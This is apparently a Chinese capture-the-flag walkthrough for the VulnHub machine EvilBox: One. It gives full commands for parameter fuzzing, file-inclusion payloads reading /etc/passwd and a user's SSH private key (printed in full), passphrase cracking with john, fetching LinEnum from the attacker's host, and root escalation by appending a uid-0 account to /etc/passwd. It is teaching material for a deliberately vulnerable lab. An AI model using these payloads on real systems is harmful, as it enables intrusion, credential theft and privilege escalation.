准备:
攻击机:虚拟机kali、本机win10。
靶机:EVILBOX: ONE,下载地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova,下载后直接vbox打开即可。
知识点:文件包含漏洞、ffuf爆破参数名、ssh2john和john爆破密码、ssh私匙登录、/etc/passwd提权。
信息收集:
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.80,显示开放了22、80端口,开启了ssh、http服务
使用dirmap进行目录扫描,发现了robots.txt和目录secret,访问robots.txt文件显示:Hello H4x0r,对secrect目录进行扫描,发现evil.php。
参数名爆破:
访问:http://192.168.110.80/secret/evil.php未回返有用信息,考虑是需要传递参数,那我们就需要进行参数爆破,这里使用ffuf进行参数名爆破,命令:ffuf -u 'http://192.168.110.80/secret/evil.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0,发现参数名command。
文件包含漏洞:
访问下/etc/passwd文件,命令:http://192.168.110.80/secret/evil.php?command=../../../../../../etc/passwd,发现账户:mowree。
利用php伪协议读取下evil.php文件,命令:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php,获得base64加密的信息,进行base64解密,获得evil.php的源码信息,但是该php文件无隐藏信息。
私匙获取:
nmap进行扫描时开启了ssh服务,查看下ssh服务的登录方式有哪些,命令:sudo ssh [email protected] -v,显示支持密码和公匙登录。
尝试读取公匙信息,但是读取失败:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa.pub。尝试读取下ssh的私匙信息,命令:http://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa,进行解码获得私匙信息。
ssh私匙
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----
将私匙信息保存到kali,然后使用私匙进行登录时发现还需要密码才可以,我们利用ssh2john生成hash.txt文件,命令:ssh2john id_rsa > hash.txt,然后使用john进行密码的破解,命令:john --wordlist=/usr/share/worlists/rockyou.txt hash.txt。成功获得密码:unicorn。
获取shell:
利用获得账户信息、密码信息、私匙信息:mowree、unicorn、id_rsa,命令:sudo ssh -i id_rsa [email protected],成功获得shell权限并读取到flag值。
提权:
查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null。
使用LinEnum进行信息收集,在本机使用python开启http服务,命令:python -m http.server,然后靶机使用:wget http://192.168.110.234:8000/LinEnum.sh下载该文件并赋予可执行权限进行执行,发现我们对/etc/passwd文件具有读写权限。
/etc/passwd提权:
那我们可以在passwd文件中添加一个新的root权限的账户,命令:openssl passwd -1 -salt upfine生成密码:$1$upfine$lmB8MIReLqOd0SwojmfN5/。
在shell中按照root账户的格式写入到/etc/passwd文件中,命令:echo 'upfine:$1$upfine$lmB8MIReLqOd0SwojmfN5/:0:0::/root:/bin/bash' >> /etc/passwd。
切换upfine用户,输入密码后成功切换到root账户并在/root目录下读取到root.txt文件,获取到第二个flag文件。